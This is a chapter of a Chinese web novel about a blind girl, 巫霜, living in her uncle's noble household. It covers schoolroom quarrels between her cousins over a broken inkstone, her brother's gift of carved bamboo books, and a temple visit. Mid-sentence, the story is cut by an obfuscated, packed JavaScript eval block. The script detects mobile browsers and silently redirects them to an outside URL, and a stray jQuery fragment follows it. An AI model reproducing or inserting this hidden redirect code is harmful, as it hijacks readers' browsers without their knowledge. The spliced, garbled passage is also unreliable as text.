一个婆子去请了府里的李郎中来,此举惊动了绮梦阁中的巫治、成夫人。
成夫人至玉藻堂来照看巫霜。
巫治怕巫老太太为巫霜的病情心焦,赶去宝相斋安抚巫老太太。
折腾了一夜,至天明时,巫霜才安稳睡下。
成夫人守在拔步床边看着女孩儿的睡颜,长舒了一口气。
思索李郎中说的话,成夫人不禁眼泛泪光,叹女孩儿命苦,明明女孩儿生在侯府、长在侯府,却遭歹人百般折磨,不仅坏了一双眼睛,还落得一身丑陋的疮疤。
自此成夫人待巫霜比亲生女儿还要亲,亲自照料巫霜的衣食起居,巫府上下自然不敢轻视巫霜,但也惹了不少闲话。
譬如此时西院的晚玉轩中,柳姨娘正在训女。
柳姨娘:“先前叫你好好哄着你大伯母,你偏偏听不进去。倘若你大伯母将你记在她名下养,将来议亲时至少也能嫁个伯爵府,如今好处都让别人占去了。”
巫梦耷拉着小脑袋,委屈道:“女儿就想和娘在一起住。凭爹爹对娘和女儿的喜爱,娘还怕女儿长大找不到好人家么?”
柳姨娘将巫梦搂入怀中,抚着她的背道:“娘只是你爹爹的妾室,你爹爹再喜爱我们母女,娘也替不了二太太为你议亲。二太太厌恶我们母女,娘就怕将来她在你的婚事上使绊子。”
巫梦这才懂柳姨娘的良苦用心。
丫鬟来喊巫梦上学堂。
柳姨娘让巫梦赶紧去换衣裳,又嘱咐丫鬟们备好女儿上学堂要用的一应物什。
学堂设在东院北角的洗墨园,过去巫梦都是抢在杨夫人所出的二姑娘巫仙前头进入课室的,偏今日进入课室,便见自己书案后坐了一个妍丽可爱的女孩儿,女孩儿眼睛上蒙了一层用来遮光的鲛纱,通身衣裙皆用蜀锦裁成,衣裙上的绣花层层叠叠、绵绵密密,倒衬得自己极为穷酸。
“小雪,你也来学堂了?这眼睛看不见,如何能读书?”巫梦唇角噙着讥讽的笑。
不等巫霜回答,门口响起稚嫩清甜的女音。
“大姐姐总喜欢揭人短处,小雪看不清书上的字,难道还听不了孟先生讲课吗?”说话的女孩儿一身鹅黄色衣裙,脸儿圆圆,眼睛圆圆,说不上多漂亮,但笑起来右颊边有一个浅浅的梨涡,十分娇憨讨喜,正是二房杨夫人所出的巫仙。
“二妹妹别一顶这么大的帽子扣在我头上,我是好奇而已,对小雪并无恶意。”巫梦坐到自己书案后,挺直腰背。
而巫仙坐到巫梦前一张书案后,高高扬起下巴道:“小翠,命人把三妹妹的书案搬到我身后,让大姐姐挪到最后面坐去。”
“凭什么?”巫梦扯起嗓子叫道。
“凭祖母教导我们要多多关照三妹妹。”巫仙回头瞪着巫梦,“凭三妹妹坐到前面来,离孟先生近一点,可以听得更清楚。”
“你的座位离孟先生最近,将你的书案和三妹妹的书案调换就是了。”巫梦目光如刀。
巫霜察觉到前面这两位要开始掐架了,一口回绝了巫仙的“好意”,续道:“我来上学堂也是打发时间,坐这个位置便很好。”
巫仙嘟囔了一声“胆小鬼”,她的贴身丫鬟小翠将笔墨纸砚一一摆放在书案上,其中有一方铜雀瓦砚吸引了巫梦的目光。
巫仙瞥见后,笑道:“这方铜雀瓦砚是御赐之物,大伯共得了三方,一方给了瞳哥哥,一方给了三妹妹,剩下一方则给了我哥哥,我哥哥又给了我。所以说啊,庶女就是庶女,爹爹再抬举你,也弄不到这么好的铜雀瓦砚给你用。”
巫梦被气得扑在书案上哭。
巫仙仍煽风点火道:“哭有什么用,爹爹又不在这里,你哭给谁看。就算爹爹在,这方铜雀瓦砚是大伯送我哥哥的,爹爹也不好意思要了去再给你。”
巫梦将气撒到巫霜头上,回过身指着她的鼻尖道:“都怪你,你又不是没有家,你家是义勇侯府,不是永安侯府,你干嘛住到我家来?本来大伯得了好东西都是平分给瞳哥哥、苍哥哥和我哥哥的,你抢了我哥哥的那一份,害得我用不上铜雀瓦砚。”
巫霜推动书案上的铜雀瓦砚,那方砚掉在地上摔得四分五裂,她冷冷道:“我也没有用铜雀瓦砚了。”
巫梦一面可惜这么难得的砚被巫霜这个小傻瓜摔坏了,一面责骂巫霜道:“你个丧门星就是故意的,你摔坏了我的东西,你要赔。”
一直津津有味看好戏的巫仙插嘴道:“大姐姐,什么叫你的东西?你如此胡搅蛮缠,我要告祖母去。”
巫仙正要从座上起身,孟先生正好进课室来,她只得作罢。
巫梦也擦干净眼泪,安安静静坐在书案后听孟先生讲课。
巫霜听到孟先生的诵书声,如听仙乐,前头这两位可算消停了一点。
散学后,巫霜赶在巫梦、巫仙前面出了洗墨园,不想卷进她们二人的纷争中。
回到玉藻堂,巫霜先去书房梳理了一遍孟先生今日教授的课,通过口述的方式让识字的暮雨帮她记在纸上,以便她以后想要温习时能让暮雨读给她听。
暮雨边奋笔疾书边道:“三姑娘记性真好,过耳不忘。”
“我要是能看见多好,劳累姐姐替我捉笔了。”巫霜道。
巫瞳进来,站在暮雨身边看她所书,等巫霜复述完毕,方出声说道:“可惜小雪你不是男儿身,你这慧根,状元也是考得的。”
巫霜命暮雨去沏茶。
巫瞳身后的小厮捧上一个漆盘,漆盘上放满竹简,他拿出一卷竹简摊开在巫霜手边,捏住她的手腕让她摸竹简上的刻字。
巫霜笑道:“这正是今日孟先生讲的书,哥哥又给我送好东西了。”
巫瞳听说了今日学堂上发生的事,“这些竹简再好也是有限的,不比你今日摔了的那方铜雀瓦砚,江南每年才供十方到御前,可是无价之宝。”
“反正我也用不上,本想送给大姐姐的,又怕二姐姐恼我,索性将那于我有害无益之物摔了,落得个耳根清净。”巫霜解释。
“你们小娘子的事,我不掺和。”但巫梦骂巫霜之事,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443072|169391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绝不会轻饶了巫梦,罪魁祸首巫仙也跑不了。
巫瞳命小厮将手中锦盒交给暮雨,“暮雨,这方铜雀瓦砚你好好替三姑娘保管,别又让她摔了,再摔了,我就得去二姑娘那里偷一方铜雀瓦砚来给她了。”
暮雨笑着应道:“奴婢替我家姑娘多谢二爷,绝不会糟蹋二爷的心意的。”
“我不打搅我们家的女状元用功读书了。”巫瞳与巫霜告别。
出了玉藻堂,跟着巫瞳的小厮不满道:“二爷为加急刻出那么多的书简,弄了一手的伤,眼见还有三日就要参加春闱了,也不知道这些伤口妨不妨碍写字?”
“倘若母亲问起来,便说是我贪玩,沉溺于雕核桃弄出来的伤口。”巫瞳低首看着缠裹在双手上的素布条渗出血渍,微微蹙眉,想来是不妨碍写字的,顶多痛一些、写得慢一些,但小雪没有那些书简的话,恐怕要费更多的心力去听孟先生讲课,那才是他想解决的头等大事。
*
第二日,巫霜依旧早早来到课室,提前温习今日孟先生要讲的书。
及至孟先生落座开始上课,巫梦、巫仙都没来。
散学后巫霜才知,巫梦昨日在花园里撞见一棵树上掉下一个马蜂窝,那些马蜂追着她蛰了她一通,她肿得像个猪头,所以今日向孟先生告了假。
而巫仙站在那棵树不远处拿着弹弓,这一幕正好被她父亲巫渤、也就是巫霜的二舅舅瞧在眼里,巫仙被罚去跪祠堂三日,故今日也向孟先生告了假。
巫霜总觉得这事儿不对劲,巫仙再讨厌巫梦,在她们的父亲巫渤面前也会装装样子,不大可能为出一口恶气而明目张胆在巫渤面前对巫梦动手。
就算巫仙真拿弹弓去打落马蜂窝,她也不应该自己动手,更不应该站在那棵树不远处,难道她就不怕被马蜂蛰吗?
巫霜无暇深究此事,今日孟先生布置的课业不多,她正好有机会去城南的文昌帝君庙为巫瞳祈求考运。
*
临近春闱之日,文昌帝君庙内香火鼎盛,门口更是车如流水马如游龙。
朝云、暮雨是成夫人精心给巫霜挑选的武婢。二人动作敏捷地将巫霜护送到祈福树下掷宝牒。
巫霜虔诚祈愿过后,将手中宝碟高高往头顶上拋,希望能挂在祈福树的枝桠上,这代表文昌帝君听到了她的祈愿并愿意帮她实现。
好巧不巧,那宝牒没有挂到枝桠上,落下时还砸到了人。
巫霜只觉得那人的痛呼声耳熟,正要向那人道歉。
却听他道:“我也希望有小娘子你这样的妹妹为我祈求考运。”
“恩公?”
“小娘子言重了,举手之劳,何足挂齿。”少年将手中宝牒往头顶一拋,那宝牒挂到了祈福树上最高处的枝桠上。
朝云笑道:“三姑娘,这位郎君帮你把宝牒挂得高高的,家里二爷这次春闱肯定高中。”
巫霜向少年致谢后,问道:“郎君应与我家哥哥差不多大,可否告知名姓?我好为郎君掷个宝牒,祈求郎君能够蟾宫折桂。”